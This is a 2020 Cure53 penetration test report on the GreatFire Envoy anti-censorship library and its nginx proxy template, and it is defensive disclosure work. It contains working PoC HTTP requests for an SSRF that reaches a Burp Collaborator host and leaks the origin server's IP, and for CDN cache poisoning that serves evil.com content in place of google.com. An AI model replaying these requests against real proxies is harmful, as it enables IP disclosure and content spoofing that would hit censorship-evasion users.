Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report GreatFire Envoy Library 07.2020

Cure53, Dr.-Ing. M. Heiderich, MSc. S. Moritz, MSc. D. Weißer

Index

Introduction

"C and Java Library derived from Chromium Cronet which can be used to make Android apps resistant to censorship"

From https://github.com/greatfire/envoy/

This report describes the results of a security assessment targeting the GreatFire Envoy library. Carried out by Cure53 in summer 2020, the project entailed a penetration test and a source code audit, notably featuring the GreatFire Envoy software designed for Android phones and aiming to offer tools for building firewall circumvention and anti-censorship apps.

As for the resources, the project was executed by three members of the Cure53 team who spent a total of six days on the scope, the work specifically took place in late June and early July 2020. The chosen methodology was a so-called white-box approach; Cure53 was granted access to documentation and source codes. In addition, the testers were able to build and run the library on test devices and emulators.

To best address the objectives of this GreatFire Envoy assessment, work was split into two distinct work packages (WPs). In WP1, Cure53 completed white-box tests and audits of the Android library of GreatFire. While the report documents the outcomes of this phase, WP2 will move on to white-box testing of the GreatFire web application. WP2 will be completed later in 2020, though exact dates have not yet been set.

The project started on time and progressed efficiently. The communication between the GreatFire team and Cure53 was done using a private, dedicated Slack channel into which the Cure53 team invited the relevant personnel from GreatFire Communications were helpful and productive, assisting the assessment in quick progress. The Slack channel was also used for live-reporting of the spotted issues, making it possible for the GreatFire team to address them in a timely manner.

During this project, Cure53 managed to document four findings, two of which were classified as security vulnerabilities and two can be seen as representing general weaknesses with lower exploitation potential. Note that one issue was given a *Critical* severity rating because it lets an attacker execute a cache poisoning attack with heavy impact on GreatFire Envoy users. Another issue was scored as *High* due to allowing for an SSRF attack capable of unveiling users' source IPs. Both issues must be addressed as a matter of urgency and before release.

In the following sections, the report will first shed light on the scope and key test parameters. Next, all findings will be discussed in a chronological order alongside technical descriptions, as well as PoC and mitigation advice when applicable. Finally, the report will close with broader conclusions about this 2020 project. Cure53 elaborates on the general impressions and reiterates the verdict based on the testing team's observations and collected evidence. Tailored hardening recommendations for the GreatFire Envoy complex are also incorporated into the final section.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Scope

- **Penetration-Tests & Audits against GreatFire Android Library & Web Application**
  - **WP1**: White-Box Tests & Security Audits against GreatFire Android Library
    - WP1 was executed in June and July 2020. This component has been documented in this report.
  - **WP2**: White-Box Tests & Security Audits against GreatFire Web Application
    - This part of the project will be executed later in 2020, a date has not yet been specified.
  - **Sources were shared with Cure53**
  - **Test-Supporting material was shared with Cure53**

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *GF-02-001*) for the purpose of facilitating any future follow-up correspondence.

GF-02-001 Web: SSRF via *Envoy* header leaks server IP (*High*)

It was discovered that a server using the provided *nginx* template becomes vulnerable to SSRF attacks. The template makes it possible to force the server into making calls to sites received from the proxy via the *Url-Orig* and *Host-Orig* headers. This means that one can send requests to locations other than an Android app is built for. From there, obtaining the IP from the origin CDN server (see below) can be achieved.

Regarding resistance to censorship, the IP leak can be used to launch attacks against the server, for instance (D)DoS or brute-force SSH logins. Due to the fact that an attacker is able to leak the IP from the origin CDN server to start further attacks and to reach internal routes like AWS or other sensitive internal endpoints, the severity was rated to *High*.

Affected File:
envoy-master/apps/nginx.conf

Affected Code:
```
location ~ ^/p/ {
     proxy_ssl_server_name on;
     proxy_pass $http_url_orig;
     proxy_buffering off; # disable buffer for stream
     proxy_set_header Host $http_host_orig;
     proxy_hide_header Host-Orig;
     proxy_hide_header Url-Orig;
     proxy_pass_request_headers on;
}
```

The following PoC shows how the proxy server can be forced to make requests to other locations.

PoC Request:
```
GET /p/?_x=0 HTTP/1.1
Host: djy1j2o9tpazn.cloudfront.net
Url-Orig: http://d6kyw7espkjuqkf5uawp004rkiq9ey.burpcollaborator.net/myroute
```

```
Host-Orig: d6kyw7espkjuqkf5uawp004rkiq9ey.burpcollaborator.net
[...]
```

Incoming Request (on attackers server):

```
GET /myroute HTTP/1.0
Host: d6kyw7espkjuqkf5uawp004rkiq9ey.burpcollaborator.net
Connection: close
User-Agent: Amazon CloudFront
X-Amz-Cf-Id: gw0XmFICgfwWUNSEsHyUWkwTgCt_8ZZadZuDbGLvhtFTfmNJiaK7dQ==
X-Forwarded-For: 91.15.68.34
Via: 1.1 46d8c022a630614463bdb0576f6829a9.cloudfront.net (CloudFront)
Accept-Encoding: gzip
x-wmf-uuid: eba3fadf-aea0-423a-8072-b96b0c3eb2fe
Url-Orig: http://d6kyw7espkjuqkf5uawp004rkiq9ey.burpcollaborator.net/myroute
Host-Orig: d6kyw7espkjuqkf5uawp004rkiq9ey.burpcollaborator.net
Cache-Control: no-cache
```

IP from the origin CDN server:

```
The request was received from IP address 139.162.122.6 at 2020-Jun-30 08:44:01
UTC.
```

It is recommended to offer an additional level of verification to the *nginx* template within the *location* section. Instead of passing all URLs, it is advisable to allow only a subset of URLs that are required to run the application. This can be implemented using a whitelist-based approach. One way forward would be to determine the path of the URL using regular expressions and then append them to statically defined URLs within the *proxy_pass* directive. For more information, please refer to the official *nginx* guides[1].

GF-02-004 Web: Cache poisoning via *_digest* parameter (***Critical***)

An Android app using the Envoy library routes traffic through a CDN server, which is declared via the *envoy_url* parameter. In terms of resistance to censorship, two headers were added to each HTTPS request. These are then processed from the *nginx* proxy to make the final request to the desired blocked page. To make each request unique, an *MD5* checksum is created from the URL the user wants to access and is added to the *GET* parameter *_digest* (see below). In case the app uses a CDN server with an enabled caching mechanism, an attacker is able to misuse this behavior to start cache poisoning attacks.

To be able to poison the cache, an attacker-controlled URL must be added to the *Url-Orig* header. In the same request, the resulting *MD5* hash of the URL that the user wants to visit must be added to the *_digest* parameter. After the request is sent, the CDN stores the content received from the attacker-controlled URL to the cache key */p/?*

[1]https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/

_digest={MD5("URL that comes from the app")}. When the app then calls the related URL, the cached content of the attacker-controlled page is returned.

For example, if the user opens https://google.com/ within the *DuckDuckGo demo app*, the patched *Cronet* library computes the corresponding *MD5* hash *f82438a9862a39d642f39887b3e8e5b4*. The CDN server matches the cached object and responses with the cached content retrieved earlier via the header *Url-Orig: https://evil.com*. Please note that - for a successful attack - the cache for the corresponding URL must not yet exist. This is the case if the page has not been called before or the validity period of the cache object has expired. However, an attacker is able to create a script that sends such requests to the CDN server at specific intervals.

The following PoC shows how the content of the cache object for https://google.com/ can be replaced with the content of https://evil.com.

PoC Request:
```
GET /p/?_digest=f82438a9862a39d642f39887b3e8e5b4 HTTP/1.1
Host: djy1j2o9tpazn.cloudfront.net
Connection: close
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/
apng,*/*;q=0.8,application/signed-exchange;v=b3
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like
Gecko) Version/4.0 Chrome/74.0.3729.186 Mobile Safari/537.36 DuckDuckGo/5
Accept-Encoding: gzip, deflate
Url-Orig: https://evil.com
Host-Orig: evil.com
```

Response:
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 4973
[...]

<title>Evil.Com - We get it...Daily.</title>
[...]
```

Request from the app (after the cache is poisoned):
```
GET /p/?_digest=f82438a9862a39d642f39887b3e8e5b4 HTTP/1.1
Host: djy1j2o9tpazn.cloudfront.net
Connection: close
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/
apng,*/*;q=0.8,application/signed-exchange;v=b3
upgrade-insecure-requests: 1
```

```
user-agent: Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like
Gecko) Version/4.0 Chrome/74.0.3729.186 Mobile Safari/537.36 DuckDuckGo/5
Accept-Encoding: gzip, deflate
Url-Orig: https://google.com/
Host-Orig: google.com
```

Poisoned Response:

```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 4973
Age: 10
[...]

<title>Evil.Com - We get it...Daily.</title>
[...]
```

Cache poisoning allows an attacker to replace content from pages that the user wants to visit and makes it valuable for Phishing campaigns, information deception, or Denial-of-Service attacks. To effectively protect against this type of attack, it is recommended to disable caching onto the *Edge* CDN servers entirely. If this is not easily possible, reducing the *TTL* (*Time to Live*) value for all cache objects to *0* is also possible.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

GF-02-002 Web: Wikipedia leaks Server IP via X-Client-IP *(Info)*

The Wikipedia server is configured to return the IP from the requested client via the *X-Client-IP* header (see below). In case the resource is requested via the Envoy library, it was discovered that the IP of the origin CDN server gets leaked via the header and could be used to start further attacks against the server.

Request:

```
GET /p/?_digest=8c7d90d8a0854168cd282ab9c00a4b6c HTTP/1.1
Host: djy1j2o9tpazn.cloudfront.net
Url-Orig: https://en.wikipedia.org/w/api.php?
format=json&formatversion=2&errorformat=plaintext&action=query&converttitles=&pr
op=description|pageimages|pageprops|info&ppprop=mainpage|
disambiguation&generator=search&gsrnamespace=0&gsrwhat=text&inprop=varianttitles
&gsrinfo=&gsrprop=redirecttitle&piprop=thumbnail&pilicense=any&pithumbsize=320&g
srsearch=www.google.de&gsrlimit=20
```

```
Host-Orig: en.wikipedia.org
[...]
```

Affected Response:

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 29 Jun 2020 13:23:41 GMT
X-Client-IP: 139.162.122.6
X-Cache: Miss from cloudfront
Via: 1.1 468db87750f18f9c88fefdcaa2347b8a.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: TXL52-C1
X-Amz-Cf-Id: C70tzeWkg21jAM03RUh8A8kvjnWWXziI0bhUelv5v8k-O8pyAHhndQ==
Content-Length: 9694
[...]
```

It is recommended not to pass such headers back to the clients that may contain sensitive content. Therefore, it is advisable to add a filter to the *nginx* template that allows to pass only a subset of headers that are necessary for the execution of the application.

GF-02-003 Web: General hardening recommendations *(Info)*

The recommendations described below should be considered as defense-in-depth mechanisms. The absence of these hardening measures does not introduce a security issue but could let an attacker or adversary exploit other problems more easily.

Restrict access to the origin CDN server

The demo provided to Cure53 communicates with an *origin* CDN server, which acts as a proxy server within the Amazon Cloudfront infrastructure. As shown in GF-02-001 and GF-02-002, there are several ways to obtain the IP of the original CDN server with the current configuration of the demo server. It was found that this server is publicly accessible from the Internet, which makes it valuable for attackers who seek to launch further attacks against it. Thus, it is advised to stop exposing this server and add restrictions in a way that only the *Edge* CDN and the application servers are able to establish a connection to the *origin* CDN server. In addition, it is advised to also add an IP from an administrator machine to the whitelist for maintenance purposes.

Adding a random salt to the hash

In the current implementation of the Envoy library, an *MD5* hash is created for a URL to be called. Due to a missing random *salt* value, the library always computes the same hash from the URL that a user wants to visit. This makes them vulnerable to attacks such as using rainbow tables and, in turn, could store precomputed *MD5* hashes of visited sites. They could be used also for GF-02-004 which demonstrates cache poisoning. An adversary might be able to use rainbow tables to determine the source of the called URL that can be obtained from access logs. To make it more resistant to adversaries, it is recommended to add a *salt* to the *MD5* hash, which should be random and different on every client. In addition, it is advised to move to a better hashing mechanism, such as *SHA-256* or alike. For more information on how hashing works and how a salt can provide protection against rainbow table attacks, please refer to the guide from *auth0*[2].

Conclusions

The results of this summer 2020 project demonstrate that the GreatFire's Envoy library might be a good approach to helping users avoid censorship. However, as Cure53 showcased, it currently lacks certain basic security measures. Therefore, three members of the testing team who spent six days on examining the scope must conclude that significant security flaws in the current configuration of Envoy must be resolved before it can move forward.

Cure53 perceives the usage of *MD5* hashes as the weakest part of the library, since they are added to each URL and become cacheable within a CDN. However, the current architectural design permits creation of own *MD5* hashes, meaning that they could be used to attack Edge CDN servers with cache poisoning attacks (see GF-02-004). If the corresponding file is in the cache of the CDN server, the original source will not be fetched until the entry expires. As GF-02-004 points out, the cache can be poisoned with arbitrary contents.

Next up, the *nginx* configuration was reviewed for server-side issues because, due to the nature of the GreatFire Envoy library, the *nginx* must act as some sort of proxy. GF-02-001 confirms that no restrictions are in place within the *nginx* template, basically allowing IP leakage and browsing arbitrary sources. Therefore, it is advisable to provide developers who want to use the Envoy library with either much improved *nginx* templates or proper guidance.

For network operations, the app utilizes the *Cronet* library from Google, having extended it to handle Envoy URLs and deal with caching. The C patches were reviewed for potential flaws that could lead to memory corruptions, however no such vulnerabilities were spotted in this area. The implemented Android WebView component from the Envoy library was also examined. It was checked whether the JavaScript interface is used (via *addJavaScriptInterface()*) and whether methods with *@JavascriptInterface* are

[2] https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/

annotated. These methods could be called from an external loaded page via JavaScript. However, the library does not make use of the JavaScript interface, which reduces the attack surface.

In addition, it was investigated how the Android library fits into the Android's ecosystem. Cure53 examined the handling of communication with the Android's platform API. No *activities*, *broadcast receivers*, *services* or *content providers* are implemented. This drastically reduces the attack surface that other apps could misuse. Cure53 also reviewed possible violations of user-privacy, with the focus on sensitive information disclosures to unsecure external storage locations, uses world-readable file attributes and exposes data to system logs. None of these issues yielded signs of assisting an adversary in obtaining information from Android apps using the Envoy library.

Finally, the use of hash algorithms without an additional salt is not recommended (see GF-02-004). The proposed hardening measures (see GF-02-003) can make a significant contribution to increasing the broader security premise of the GreatFire Envoy library. Overall, the approach observed by Cure53 on the Envoy library of GreatFire during this summer 2020 project represents a good way to bypass censorship. However, it is weakened in the provision of the servers. Every developer who wants to implement the Envoy library should definitely consider the newly introduced recommendations, otherwise the integrity of the application cannot be preserved.

Cure53 would like to thank the GreatFire team for their excellent project coordination, support and assistance, both before and during this assignment.